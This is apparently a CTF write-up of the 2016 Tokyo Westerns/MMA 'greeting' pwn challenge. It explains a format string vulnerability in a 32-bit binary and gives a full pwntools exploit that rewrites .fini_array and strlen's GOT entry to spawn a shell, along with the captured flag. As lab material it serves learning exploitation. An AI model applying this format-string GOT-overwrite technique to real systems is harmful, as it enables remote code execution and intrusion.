Tokyo Westerns/MMA CTF 2nd 2016 – greeting-150(pwn)

➜  greeting file greeting
greeting: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), 
dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63, 
not stripped

checksec: greeting
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

The binary simply asks for our name and then echoes it back, but while printing it back it uses a single augmented printf i.e name, which leads to “format string vulnerability”. After looking at it, i just though of overwriting GOT of any function that is called after printf, but after little of reversing i got know that there was function that is called.

Then i though of overwriting DTOR but i guess they were hard-coded, so that was also that possible and wasted lot of my thinking of other things. Finally this link helped me to think about .fini_array session. As this binary has NX enabled to cannot execute shell code. So i tired overwriting GOT of printf function which will help to spawn a shell in the next call of the main function but that didn’t work.  Finally i was searching for the functions whose argument was under our control and finally found “strlen” in getline function.

 So idea behind solving this problem is:

-> overwriting .fini_array with main function.
-> overwriting GOT of strlen with "system".
-> overwriting fini and GOT must be done in a single shot i.e in the first call of main 
-> giving input as "sh" in the second call of main function. 

Exploit code for the exploiting the binary:

from pwn import *

main = 0x080485ed
fini = 0x08049934
system = 0x08048490
strlen = 0x8049a54
p = remote('pwn2.chal.ctf.westerns.tokyo',16317)

exploit = 'AA'
exploit += pack(0x08049936)
exploit += pack(0x08049a56)
exploit += pack(0x08049a54)
exploit += pack(0x08049934)

first = 0x804 - 0x1c - 0x8 #print 0x804 bytes before 0x8049936 
second = 0x8490 - 0x0804
third = 0x85ed - 0x8490
exploit += '%' + str(first) +  'x%12$hn'
exploit += '%13$hn'
exploit += '%' + str(second) + 'x%14$hn'
exploit += '%' + str(third) + 'x%15$hn'
exploit += ""

print p.recvuntil('... ')
p.sendline(exploit)
print p.recvuntil('... ')
p.sendline("sh")
p.interactive()
#TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}

Running this exploit code will spawn a shell 🙂